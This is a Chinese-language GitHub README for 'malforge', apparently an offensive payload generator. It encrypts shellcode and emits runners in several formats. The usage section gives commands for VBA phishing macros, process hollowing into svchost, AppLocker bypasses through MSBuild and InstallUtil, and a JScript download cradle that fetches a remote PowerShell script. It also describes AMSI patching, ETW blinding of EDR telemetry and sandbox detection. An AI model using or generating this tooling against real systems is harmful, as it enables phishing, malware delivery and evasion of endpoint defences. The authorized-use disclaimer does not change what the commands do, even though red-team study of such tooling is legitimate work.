gpamarthy/malforge
GitHub: gpamarthy/malforge
一款支持多层链式加密、AMSI/ETW 规避和多种输出格式的红队 payload 生成器。
Stars: 1 | Forks: 0
# malforge
用于 OSEP 项目的 Shellcode 加密和 payload 生成。
接收原始 shellcode(或通过 msfvenom 生成),使用可堆叠的层进行加密,并输出 9 种格式的可编译 payload。
## 仅限授权使用
本工具发布用于授权的渗透测试项目、夺旗竞赛以及在获得系统所有者明确书面同意的情况下进行的安全研究。在大多数司法管辖区,针对您不拥有或未获得测试许可的系统运行本工具是违法的。作者对因使用本软件而引起的误用、损害或任何后果不承担任何责任。参见 `LICENSE`。
## 安装
```
pip install .
```
## 使用
```
# 带 XOR 加密的 C# runner
malforge -l 10.0.0.1 -p 443 -f exe -e xor -o runner.cs
# 从原始 .bin 文件,AES 加密,带 AMSI bypass
malforge -i shellcode.bin -f exe -e aes --amsi -o payload.cs
# 链式加密(先 XOR,然后 AES)
malforge -i sc.bin -f exe -e xor,aes --amsi --sandbox -o payload.cs
# 用于 Word 钓鱼的 VBA 宏
malforge -i sc.bin -f macro -e xor --amsi -o macro.vba
# process hollowing 至 svchost
malforge -l 10.0.0.1 -p 443 -f hollow -e rc4 --sandbox -o hollow.cs
# 用于 rundll32 的 DLL
malforge -i sc.bin -f dll -e xor -o payload.cs
# PowerShell runner
malforge -i sc.bin -f ps1 -e aes -o runner.ps1
# MSBuild inline task (applocker bypass)
malforge -i sc.bin -f msbuild -e xor -o payload.csproj
# InstallUtil (applocker bypass)
malforge -i sc.bin -f installutil -e caesar -o payload.cs
# JScript download cradle
malforge -f js --url http://10.0.0.1/shell.ps1 -o cradle.js
# 列出格式和加密方法
malforge --formats
malforge --encodings
```
## 格式
| 格式 | 模板 | 描述 |
|--------|----------|-------------|
| exe | cs_runner.cs | C# EXE - VirtualAlloc + CreateThread |
| hollow | cs_hollow.cs | C# EXE - 注入到 svchost 的进程镂空 |
| dll | cs_dll.cs | C# DLL - 兼容 rundll32 / regsvr32 |
| macro | vba_macro.vba | VBA 宏 - AutoOpen + Document_Open |
| hta | hta_runner.hta | HTA - VBScript shellcode 运行器 |
| ps1 | ps_runner.ps1 | PowerShell - Add-Type 结合 P/Invoke |
| js | jscript.js | JScript - 下载吊篮 |
| msbuild | msbuild.csproj | MSBuild 内联任务 (绕过 applocker) |
| installutil | installutil.cs | InstallUtil 卸载 (绕过 applocker) |
| stealth | cs_stealth.cs | 高级 C# - D/Invoke + HWBP + ETW 致盲 |
## 加密
| 方法 | 格式 | 备注 |
|--------|---------|-------|
| xor | 全部 | 多字节密钥,自动生成 |
| aes | C#, PS1 | AES-256-CBC,PKCS7 填充 |
| rc4 | C#, PS1 | 流密码 |
| caesar | 全部 | 字节偏移 |
链式多重加密:`-e xor,aes` 会先使用 XOR 加密,然后再使用 AES。生成的 payload 会按相反的顺序解密。
## 规避
`--amsi` 在运行时修补 AmsiScanBuffer(C#、VBA、PowerShell)。
`--etw` 修补 EtwEventWrite 以致盲 EDR 遥测(C#、PowerShell)。
`--sandbox` 添加休眠 + 计时检查以检测沙箱(C#、VBA)。
**内存安全:** 所有 C# 模板均使用 RW→RX 分配(先使用带 PAGE_READWRITE 的 VirtualAlloc,然后使用 VirtualProtect 更改为 PAGE_EXECUTE_READ)。绝不分配 RWX 内存,这是 shellcode 运行器的第一大 AV 检测信号。
## 验证
本工具已经过针对现代 Windows 防御的严格测试。
### 本地沙箱
您可以使用提供的 `Dockerfile.sandbox` 来测试工具安装和 C# 模板编译:
```
make test-sandbox
```
### 远程验证
若要针对运行中的 Windows 10/11 VM 进行行为验证,请使用 `scripts/` 目录中的脚本:
1. 在目标 Windows VM 上运行 `Provision-Sandbox.ps1` 以配置 WinRM 并修复 Windows 更新。
2. 在您的 Linux 主机上运行 `scripts/validate_payloads.py`,以生成、投递并执行完整的 payload 套件。
## 编译 C# 输出
```
# EXE
mcs -out:payload.exe payload.cs
# DLL
mcs -target:library -out:payload.dll payload.cs
# 运行 DLL
rundll32 payload.dll,Run
# MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
# InstallUtil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
```
## Shellcode 输入
该工具会自动检测输入格式:
- 原始二进制文件(来自 msfvenom `-f raw` 的 .bin)
- 十六进制字符串(fc4883e4f0...)
- C# 格式(0xfc,0x48,0x83,...)
- 或直接生成:`-l IP -p PORT` 调用 msfvenom
标签:AES加密, AI合规, AMSI绕过, AppLocker绕过, DNS 反向解析, ETW绕过, IPv6, IP 地址批量处理, MSBuild绕过, OSEP, PowerShell, RC4加密, rundll32, Shellcode加密, VBA宏, XOR加密, 代码混淆, 威胁检测, 恶意软件生成, 搜索语句(dork), 沙箱逃逸, 知识库安全, 红队武器化, 网络信息收集, 请求拦截, 载荷生成, 进攻性安全, 进程镂空, 逆向工具, 邮件钓鱼, 钓鱼宏病毒